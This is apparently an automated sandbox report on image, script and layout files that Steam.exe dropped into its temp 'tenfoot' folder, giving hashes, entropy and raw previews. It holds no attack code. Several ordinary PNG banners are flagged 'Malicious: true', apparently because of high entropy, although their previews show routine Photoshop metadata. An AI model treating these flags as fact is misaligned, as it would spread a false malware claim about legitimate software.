Preview:	.PNG........IHDR.......`......zzI....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:C5CD31956D9111E5AEA9E4E8F0E0D330" xmpMM:InstanceID="xmp.iid:C5CD31946D9111E5AEA9E4E8F0E0D330" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FEC38C7B8E6DE511B877C8050FDE701A" stRef:documentID="xmp.did:FEC38C7B8E6DE511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G.C...2!IDATx..}..^Gqf....6==.d..[....0.&,a3...a.K2.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\facebtn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2656
Entropy (8bit):	7.617797553595039
Encrypted:	false
SSDEEP:
MD5:	60044038A2E3A294D6BA57BEE0618AE6
SHA1:	07568748FA4989D6E30FCA5DAFB97509DE8F4558
SHA-256:	5FABFBCDB7880267B9D26F59BDEFEC0774E86DE3D150D9FEA0523C8A1508DD4D
SHA-512:	50412A28C6EBD88A91F9FC6DBA1B69A08B0C4D6B57C400D94E0CD9052496F5308F38A503C6D59A5DFECBEFC1E05AEAD920384D1CBC3AB5EA98184E74298704D3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:4268134D6D1611E58CED87CBAD32D1F7" xmpMM:DocumentID="xmp.did:4268134E6D1611E58CED87CBAD32D1F7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4268134B6D1611E58CED87CBAD32D1F7" stRef:documentID="xmp.did:4268134C6D1611E58CED87CBAD32D1F7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.H......IDATx..[[h.U..9s.....f...m....S..E...J[.......-.-. ..`)HkAZkA........B-b4.&]...twg.s.t..IH6..;.8.Lf....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\friends.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 768 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	383348
Entropy (8bit):	7.995176119027625
Encrypted:	true
SSDEEP:
MD5:	241FCCC1A0D44E3043881CD57DF8B605
SHA1:	600D72957C95843E8276D33468AE752B0E75E859
SHA-256:	36C41A610DD48C88A44231097F6FCAD40B2215EFB934AA458D0E9601823CF758
SHA-512:	8600D4905976784128B6866104E084DF0C150E0F78BB74730C4828CB8D9DF4D771E5983A748861D1FAE7010E4E8DBEC098E34099FD4EA5AAFE8171BC5CE116FE
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.............5..:....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5FD698A13069E511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:4D0548F56C9E11E5A725FABB9985BF70" xmpMM:InstanceID="xmp.iid:4D0548F46C9E11E5A725FABB9985BF70" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5FD698A13069E511B877C8050FDE701A" stRef:documentID="xmp.did:5FD698A13069E511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&...IDATx....uYY..}kOg...5B.e.RL...(...`..ZEb....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\gamesbanner.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1280 x 288, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	550613
Entropy (8bit):	7.993698698277531
Encrypted:	true
SSDEEP:
MD5:	30D3CAF127E69C978264D23C373B1203
SHA1:	0D17633EBF37D2BE00ED7E1C8CF14976D8D0969A
SHA-256:	2B781061245D4C9626166F7E816100054D9DD4DB909ACA0C406BBAEE50D70B80
SHA-512:	A1188FDEFAEE02C444C819B3BD730127DECBA7B25F6F7C9EC16D65166D21C54AE530B3377FA33D903EF740122A4E577ED34E785D2F5DDA38F1CCC269755681BE
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR....... .............tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5ED698A13069E511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:231A11E26C8611E58F9F84CAA53565B0" xmpMM:InstanceID="xmp.iid:231A11E16C8611E58F9F84CAA53565B0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:60D698A13069E511B877C8050FDE701A" stRef:documentID="xmp.did:5ED698A13069E511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.U<...c.IDATx..Y.$...f..w.YGwu7.....B........z..#.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\icon_mobileapp.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 115 x 189, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.919671013183378
Encrypted:	false
SSDEEP:
MD5:	9EFC543CD6D24D2008FF2EDB06A34C4F
SHA1:	1018C2C6835CD939485E08556D660D49903046FB
SHA-256:	E70F4E16256E64504EE6974BAFF651E054E7D688EA401133C8866B46F9D9A75C
SHA-512:	6042441D851F8327560ADBB8C7337E7741C733BA689440559AA4E896E966D879F9A220ADC42FF3C49435871EB2EA6B818D04557735795308F09340A2C196F8B3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...s...........B"....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:CC3824867F4B11E585C2A81D666E4214" xmpMM:DocumentID="xmp.did:CC3824877F4B11E585C2A81D666E4214"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CC3824847F4B11E585C2A81D666E4214" stRef:documentID="xmp.did:CC3824857F4B11E585C2A81D666E4214"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>w.\|m....IDATx..].t\..^..uY.-Y..+6`..0...$a.$$'.%..l6.,..R..$aS7K. ........Z.,..`z3...2.-K...YeF3.....W.h4#...=.....h.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\icon_phone.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 115 x 189, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7180
Entropy (8bit):	7.900454600015904
Encrypted:	false
SSDEEP:
MD5:	4E4E8647873DD3879F647C00B032DFAC
SHA1:	B0BB7A542ECA71D0E0799090F7AB158365118DEA
SHA-256:	3C76942D04685B96CB4371A1DDBAC3EBDF0FCA91D84B38EC414A045E26CAA851
SHA-512:	D940D71E79A57577DD17AEE2E04B2953036EFE8B08970FE343666B6E9EF571AA2F8B7CB165C5BB2F742A79C02C16FDCEE0E6E19E65AD92115368645C9B044334
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...s...........B"....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:1C63F8827F5311E5A2C98395C0BE1808" xmpMM:DocumentID="xmp.did:1C63F8837F5311E5A2C98395C0BE1808"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C63F8807F5311E5A2C98395C0BE1808" stRef:documentID="xmp.did:1C63F8817F5311E5A2C98395C0BE1808"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..a.....IDATx..]it...j.n..K.,y.;..f.1;aM...LX.'gf 3.@.2I&.$..$.a...C. .b...a..`...m.c.$k....{_=.v.euK-w....w.n.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\overlay.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 768 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	399670
Entropy (8bit):	7.996973523992369
Encrypted:	true
SSDEEP:
MD5:	45CA43D391A43F27E118A5EAF4BB9C97
SHA1:	FD3B0DDDDE767D222386C76917A26149264665E4
SHA-256:	C7C32428A01AAFB275DD5FB5F040508621E3295F0D5A45C1BCF698793EEAF76E
SHA-512:	F7ACE6FDB1F0CCAFC9238021A12A09487022478B13ED4A92D244AA1EF988D2BB0DA49613A75290D229C024F03166749DD32A38E71C483789F8964FF6C8626D43
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.............5..:....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5FD698A13069E511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:AAD5238E6CAC11E5AA4CDA86217156B6" xmpMM:InstanceID="xmp.iid:AAD5238D6CAC11E5AA4CDA86217156B6" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E7C18B91A36CE511B877C8050FDE701A" stRef:documentID="xmp.did:5FD698A13069E511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>D../...hIDATx..}..$U...U..3;3........ A.(.J0.O..0..*

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\overlaybtn.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9235
Entropy (8bit):	7.9438608289812045
Encrypted:	false
SSDEEP:
MD5:	EBC19AE40FA2AEFABA62F9708C0BB0EE
SHA1:	1C2BEA49E306226310706B56EAFC3364967A6966
SHA-256:	8D7D8A7B16E495EAC090E67DD1E349CCCE0028C9D477684246FE3983671399AE
SHA-512:	1665C9933C5774518B557EB34A4717F99CFC08EA531C39CC2B061C91C446669D498CCC9901C0C480A3670BCF6991F1231113408CB9DA2BE51E5214589FC4B2CB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:EBC18B91A36CE511B877C8050FDE701A" xmpMM:DocumentID="xmp.did:C88E03686D4311E5BDDDC2DE585DEFAF" xmpMM:InstanceID="xmp.iid:C88E03676D4311E5BDDDC2DE585DEFAF" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EBC18B91A36CE511B877C8050FDE701A" stRef:documentID="xmp.did:EBC18B91A36CE511B877C8050FDE701A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>K.,... EIDATx.[.x..u.3{.V...d].e[.mI>...`.$@....\|..M.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\overlaybtn.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 64 x 64 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	16428
Entropy (8bit):	6.163067124761929
Encrypted:	false
SSDEEP:
MD5:	AEC6E59A7FDEBBD593D655393AA92EDA
SHA1:	EA7225987B60C57965E048FA60BA13FD4A34EF15
SHA-256:	88DBDD4B149934C5D83A69E00B30040DDF4350016082EEDC33518D8F2959B609
SHA-512:	14BCB02DB22195F483E17295ACDEA68F2F23A4387346284225C8829A4E6F5306CB2B54B3DDDB82CFE9FE2EECE5DAD1C3B49A2FE8EA1769BB3F8AF7071E62B800
Malicious:	false
Reputation:	unknown
Preview:	............@.@. .:4,.<5-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.<6-.;5-.:3+.?8/.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2)@;2Y?91.>8/.<7..;6-.:5-.:5-.:5-.:5-.;5-.<7..=8/.?90}@:1LA;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A;2.A:1.<6-.?80.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2@A;2.@90.=6..71)..)#.($..&"..$!..#...#...$...$ ..&!..'#..)%..,(".61).<6..?90.A;2zB;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.A;2.<6-.?80.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2r@90.=6..82+.0+$.%".. ..."...#...#...#...$...$...$...$...& ..' ..'!..% ..% ..& .2-&.71.<6..@90.A;2YB;2.B;2.B;2.B;2.B;2.B;2.B;2.B;2.B;

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\securitybanner.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1280 x 430, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	167796
Entropy (8bit):	7.97343076266576
Encrypted:	false
SSDEEP:
MD5:	5F856986D283C0C36B01B7A84519171F
SHA1:	07716E2D514A58BB490C854D637DE4C3DA0E6B1D
SHA-256:	9077FCDA54DE9B61912DC554174DC9CE91AB3D4FAB80FFCC5D4B4B4F694D7C14
SHA-512:	3DC49B13523080DBE8F2F416C5A7910D3C3603454D92176EDBE240D0C61452164D9AF99ACE69401A2772C543D77B81355B6D58D8797032A141968BC04486697E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............z....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:EFF3C1F0917DE511856EFEB405278895" xmpMM:DocumentID="xmp.did:CC64966F7E7D11E58B74DA8201D501B1" xmpMM:InstanceID="xmp.iid:CC64966E7E7D11E58B74DA8201D501B1" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53B72F5A7A7EE511856EFEB405278895" stRef:documentID="xmp.did:EFF3C1F0917DE511856EFEB405278895"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>'.......IDATx....8.$....3....zow.zm...a&%..pf...S.U

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\securitybanner_600.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1280 x 600, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	223117
Entropy (8bit):	7.972713483038867
Encrypted:	false
SSDEEP:
MD5:	FF8342702E810F751D4C87BFDE32C084
SHA1:	F022E26089233115931094143BE2BC9808A39EFE
SHA-256:	52FD45E72B76044D4B47301F26F9F1B459196B6AACD9FB002521FCA16FA6DD26
SHA-512:	07BB8DBC0C0D08FFBD0332CEFFB20AF44E2C9C3F86CEF694397463F093ACD06D88D9BF8705E5FDBB90F81177CF71880BCADBA3712B06AB1BCCD9D7432DC348CA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......X.....=.K.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:EFF3C1F0917DE511856EFEB405278895" xmpMM:DocumentID="xmp.did:E1CBF3AA7F4C11E58460BD79EB8DB53E" xmpMM:InstanceID="xmp.iid:E1CBF3A97F4C11E58460BD79EB8DB53E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:44ED9BEC7D7EE51199599C71FA924A9E" stRef:documentID="xmp.did:EFF3C1F0917DE511856EFEB405278895"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>N.X...c.IDATx..].r....F......'ob[.,z........R.L.+.-.7.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\steamlogosq.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6902
Entropy (8bit):	7.911497726221164
Encrypted:	false
SSDEEP:
MD5:	860C4DB5EC6AF3DDE0505EEA36EC7A56
SHA1:	D868FA2678BE4DD30B059FAFDC30307E55BEED82
SHA-256:	3B4E67F24B52EE5F2559F77312DED8502C48704E324F3BCEA1A9576FCB7E8021
SHA-512:	023E064D7D0DA05B4B0A62C29E4ECA49E832294F73DE9A57B4868B53006C7D8AF8EB34FD603902974BC8893BA565E8EBF914AAF8B77C45A5C9E3382AD8BC281A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:8DD42850693711E5B4BCECF6CE9ACBB1" xmpMM:DocumentID="xmp.did:8DD42851693711E5B4BCECF6CE9ACBB1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8DD4284E693711E5B4BCECF6CE9ACBB1" stRef:documentID="xmp.did:8DD4284F693711E5B4BCECF6CE9ACBB1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.}Mb...lIDATx..].XTe..3...".......... ....((.-....Z..iZ.I$(..n..@*.B...K."$.:".....:.."...h.~.y...0s.........J...9&..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\javascript\base.js_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	5.005393749534507
Encrypted:	false
SSDEEP:
MD5:	618A827EB1F3827FD8B7042FC41EE1A9
SHA1:	0A2F607086F31CA0FC83218DEFA5D73CE790659D
SHA-256:	0F57351956FCDCE04A520DEE952C8B745827A448CBB1ED955F07723816D2A27F
SHA-512:	3EF580A90DB58DBEBF70ECC0D6F620B58DA20F4CC150C0DA3A9A971AB78A4702B027647174C98A91268275AA7E742EACBFE9DC68171513A61C2337EA66A33A1F
Malicious:	false
Reputation:	unknown
Preview:	/*.. Helper function to add mouseover/mouseout events when hovering over a menu or content panel.. * which then adds/removes a class from an ancestor panel.. */..function SetupMenuAndContentHoverEvents( menuPanelID, menuHoverClass, contentPanelID, contentHoverClass, ancestorPanelID )..{...var ancestorPanel = $( '#' + ancestorPanelID );.....var hoverItemStyles = {};...hoverItemStyles[menuPanelID] = menuHoverClass;...hoverItemStyles[contentPanelID] = contentHoverClass;.....var _this = this;...SetupPanelsHoverEvents( hoverItemStyles, ancestorPanel, function( pPanel )...{....// mouse is hovering over one of the panels in hoverItemStyles. If it is the target container panel, and focus....// is still in this context, pull focus to that panel....var pContext = $.GetContextPanel();....if ( !pContext.BHasKeyFocus() && !pContext.BHasDescendantKeyFocus() && !pContext.BHasClass( 'Loading' ) )....{.....return;....}......if ( pPanel.id == contentPanelID && !pPanel.BHasKeyFocus() && !pPanel.BHasDe

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\keyboards\layout_dutch_dualtouch.txt_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	155
Entropy (8bit):	6.327954597701141
Encrypted:	false
SSDEEP:
MD5:	6F0234B4313FAF4A498C3BB6E1744B4A
SHA1:	CA14FDF083E74A2BCB6F210D7FBAC916F414463C
SHA-256:	CD380883CBEAE9FD683A2D9DDC46DF0D91F22669B9AB6E4B3D628AEC844209E8
SHA-512:	191B63E788A4BEF44EF4894FB13CA82368682755797327BBC95A529D6384696C7E39D504E7566D89C29CA34A3C056E977F01774815DC4AFB04E94E3CD8A34931
Malicious:	false
Reputation:	unknown
Preview:	.1234567890/..qwertyuiop..asdfghjkl..]zxcvbnm,...!"#$%&_()'?..QWERTYUIOP..ASDFGHJKL..[ZXCVBNM;:..@.#$%^&()_..+-..$'"\|...[]{}\|+.<>../\`~,.;:-=....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_allmusic_plus.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	524
Entropy (8bit):	4.955407004945669
Encrypted:	false
SSDEEP:
MD5:	A91E058A3BC765E962AC2BA85F300A4F
SHA1:	2E9575BC0E12F19ECC20E6A7D8F3820268987472
SHA-256:	151145232F1A737E6E23BBB9C63CD35EAD0DD44D965B568306EBB26222D65E2E
SHA-512:	8609C2EC960B3FA5A35791028C10BD187A3AFDA3FC56E8EBC7C57AF0F503F42155BE87D5601A55C124176FC20EDE9B3D5D1E8E00FB3701D90E0A972E18628324
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />...</styles>......<MusicAllMusicPlusDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()" .....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="SetupLibrary();" >......<Label text="#Music_Library_Setup" />.....</Button>....</Panel>...</MusicAllMusicPlusDialog>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_artist.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	814
Entropy (8bit):	4.899650580279877
Encrypted:	false
SSDEEP:
MD5:	8460AF0B5C5A9AD0CB42A3CC00695ED0
SHA1:	2EF9B0781E5813509B11F9AE9B63CE7BA2D216DF
SHA-256:	F9A9C596EF26932E6573771999D13077C43FAA1E9D8D55016F0D7A945935962E
SHA-512:	A4F9FA336BA1E619C3582611BA89C66FE5338A05249F605DAF671938C0983B9D81D7E50AC0014A1B562F0A8682CA44D51A518C4ACD773AD63A121F8F982BD02C
Malicious:	false
Reputation:	unknown
